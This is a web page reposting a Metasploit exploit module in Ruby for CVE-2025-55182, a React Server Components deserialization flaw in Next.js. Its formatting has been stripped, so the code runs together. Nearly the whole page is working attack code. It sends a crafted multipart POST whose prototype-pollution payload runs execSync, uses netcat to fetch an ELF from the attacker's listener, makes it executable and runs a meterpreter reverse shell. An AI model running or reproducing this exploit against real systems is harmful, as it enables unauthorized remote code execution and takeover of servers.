Home
CVE-2025-55182 RSC deserialization to rce react4shell exploit
Page
CVE-2025-55182 RSC deserialization to rce react4shell exploit
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework### This payload is configured for:# msfvenom -p linux/x86/meterpreter_reverse_tcp --format elf## This code exploits React2Shell, a remote code execution vulnerability in React Server Components (RSC) that affects Next.js applications.#require'msf/core'require'socket'classMetasploit3<Msf::Exploit::RemoteRank=ExcellentRankingincludeMsf::Exploit::Remote::HttpClientdefinitialize(info={})super(update_info(info,'Name'=>'RSC data deseriealized in an unsafe way leading to RCE','Description'=>"
The server processes RSC (React Server Components) data in an unsafe manner leading to remote code execution in Next.js and others
",'Author'=>['Marshall Whittaker',# oxagast'Lachlan Davidson'],'License'=>MSF_LICENSE,'Platform'=>'linux','Arch'=>[ARCH_X86],'CmdStagerFlavor'=>['printf'],'References'=>[['URL','https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc/tree/main'],['URL','https://react2shell.com/'],['CVE','2025-55182'],['CWE','502']],'Targets'=>[['React Server Components <= 19.2.0',{'Privileged'=>true}]],'DefaultOptions'=>{'PAYLOAD'=>'linux/x86/meterpreter_reverse_tcp'# lets use a x86 meterpreter rev (others may work)},'Payload'=>{'Format'=>'elf',# we need a whole executable for this, we use elf on linux'Platform'=>'unix'},'Notes'=>{'Stability'=>[CRASH_SAFE],'Reliability'=>[REPEATABLE_SESSION],'SideEffects'=>[ARTIFACTS_ON_DISK,IOC_IN_LOGS]},'DisclosureDate'=>'2025-12-3','DefaultTarget'=>0))register_options([Opt::RPORT(3000),OptString.new('RHOST',[true,"The target machine's IP",'']),OptString.new('LHOST',[true,"This machine's IP",'']),OptInt.new('LSERVPORT',[true,'The port to listen on for pushing the payload',6789])],self.class)register_advanced_options([OptBool.new('HANDLER',[true,'Start an exploit/multi/handler job to receive the connection',true])])deregister_options('VHOST','Proxies','RHOSTS','SSL')enddeflisten(pload,lsp)print_status('Starting payload push socket...')serv=TCPServer.new(lsp)s=serv.accepts.write(pload)s.closeenddefexploit# we pull then check our variablesrhst=datastore['RHOST']rprt=datastore['RPORT']lhst=datastore['LHOST']lsprt=datastore['LSERVPORT']ifrhst==''||rprt==''||lhst==''||lsprt==''fail_with(Failure::BadConfig,'You need to set RHOST, RPORT, LHOST, and LSRVPORT properly.')endprint_status('Generating payload...')pay=framework.modules.create(datastore['payload'])pay.datastore['LHOST']=datastore['LHOST']pay.datastore['RHOST']=datastore['RHOST']pay.datastore['LPORT']=datastore['LPORT']dropit=pay.generate_simple({'Format'=>'elf'})fail_with(Failure::PayloadFailed,'Payload generation failed! Try a different payload?')ifdropit==''print_good('Payload generated!')Thread.newdolisten(dropit,lsprt)endtargexe="/tmp/shell#{rand(2000)}"print_status('Generating JSON string to call execSync...')payl=%({"then": "$1:__proto__:then","status": "resolved_model","reason": -1,"value": "{\\"then\\": \\"$B0\\"}","_response": {"_prefix": "process.mainModule.require('child_process').execSync('nc -q 1 #{lhst}#{lsprt} > #{targexe}; sleep 1; chmod 777 #{targexe}; #{targexe}');","_formData": {"get": "$1:constructor:constructor"}}})payb=%("$@0")print_status('Starting HTTP client')uri=URI("http://#{rhst}:#{rprt}")http=Net::HTTP.new(uri.host,uri.port)http.read_timeout=3beginhttp.startrequest=Net::HTTP::Post.new(uri)request['Next-Action']='oxagast'# Create multipart form data, including the inline payloadsboundary="--#{rand(1_000_000)}"request.content_type="multipart/form-data; boundary=#{boundary}"body=[]body<<"--#{boundary}"body<<'Content-Disposition: form-data; name="0"'body<<''body<<paylbody<<"--#{boundary}"body<<'Content-Disposition: form-data; name="1"'body<<''body<<paybbody<<"--#{boundary}--"body<<''request.body=body.join("\r\n")http.request(request)http.finishendrescueStandardError=>eputs"An error occurred: #{e.message}"ensurehttp.finishifhttp.started?endend